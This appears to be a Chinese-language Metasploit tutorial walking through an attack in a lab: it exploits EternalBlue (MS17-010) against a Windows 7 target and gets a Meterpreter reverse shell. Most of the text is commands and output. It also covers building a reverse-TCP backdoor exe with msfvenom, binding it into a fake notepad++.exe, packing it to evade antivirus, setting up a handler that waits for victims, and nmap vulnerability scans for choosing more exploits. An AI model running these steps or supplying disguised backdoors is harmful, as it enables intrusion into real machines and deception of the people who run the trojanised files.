下载Kali
解压缩后使用VMware打开
默认用户名密码是kali
进入root权限
sudo su
输入密码:kali
asploit是什么?
msf是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。
metasploit让复杂的漏洞攻击流程变的非常简单一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击
metasploit攻击永恒之蓝
# 进入root权限
sudo su
# 进入metasploit
msfconsole
# 搜索永恒之蓝漏洞,永恒之蓝漏洞编号为ms17_010
msf6 > search ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010
# 使用模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
# 查看这个模块可以配置哪些内容
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Wind
ows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows
Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded S
tandard 7 target machines.
# 攻击载荷,就是你攻击只会,你想要干什么
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
# 攻击机器的IP
LHOST 10.10.10.131 yes The listen address (an interface may be specified)
# 攻击机群的端口
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
有yes的为必选项
攻击的IPRHOSTS
,攻击的端口RPORT
靶机使用的是Windows7,需要关闭防火墙
# 设置攻击的IP,可以使用IP段例如192.168.1.0-255 ,会攻击0-255的IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.132
RHOSTS => 10.10.10.132
# 设置攻击机的连接端口
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 10001
LPORT => 10001
# 启动攻击
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
渗透攻击生成远控木马
生成一个后门文件到桌面,10.10.10.131为攻击机的服务器IP
┌──(root㉿kali)-[/home/kali]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.131 lport=9999 -f exe -o demo.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: demo.exe
上面的exe文件会直接被杀毒软件杀掉,可以使用捆绑木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.131 lport=9999 -f exe -x notepad++.exe -o notepad++.exe
如果捆绑木马还是被杀毒,可以使用加壳方式。Themida加壳工具,自动进行保护加壳
设置攻击载荷
# 进入metasploit
msfconsole
# 使用exploit/multi/handler模块
msf6 > use exploit/multi/handler
# 查看使用能哪些命令
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
# 设置Payload模块,自己为生成后门文件的模块
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
# 设置后门的IP,必须和前面一样
msf6 exploit(multi/handler) > set LHOST 10.10.10.131
LHOST => 10.10.10.131
# 设置后门的端口,必须和前面一样
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
# 设置完毕后运行,等待鱼儿上钩
msf6 exploit(multi/handler) > run
tips:
探索目标主机漏洞
打开终端输入 nmap --script=vuln ip
(扫描指定IP主机存在的系统漏洞)
通过msf数据库查找此系统漏洞
search 该主机漏洞名称 因为我主机存在很多漏洞我就随便挑一个ms10-054漏洞
search ms10-054
回车 就出现了所有MSF数据库中的关于ms10-054的漏洞
使用nmap深度扫描目标系统的软件漏洞(只能用于软件漏洞的利用)
nmap -T4 -A -v IP (深度扫描指定IP主机的全部信息) 因为我要扫描的主机是10.117.0.15 所以代码是nmap -T4 -A -v 10.117.0.15 不过一会系统的所有信息就出来了,但是我们只需要看白色PROT 端口信息部分就行了它能显示什么端口开着什么服务
举个例子我要用135端口开启的Microsoft Windows RPC服务去实现软件服务漏洞利用 我就得打开msf 去输入search Microsoft Windows RPC (关于Microsoft Windows RPC的软件服务漏洞) 然后会出现很多的关于Microsoft Windows RPC的软件漏洞
注意:这就是通过nmap去扫描指定IP存在的软件漏洞和系统漏洞,但这仅仅是该系统存在该软件或者是系统漏洞,至于该漏洞里面的漏洞利用尽量选great级别的漏洞,然后再去一个一个调用查看是否数据库中下的该漏洞可以被利用。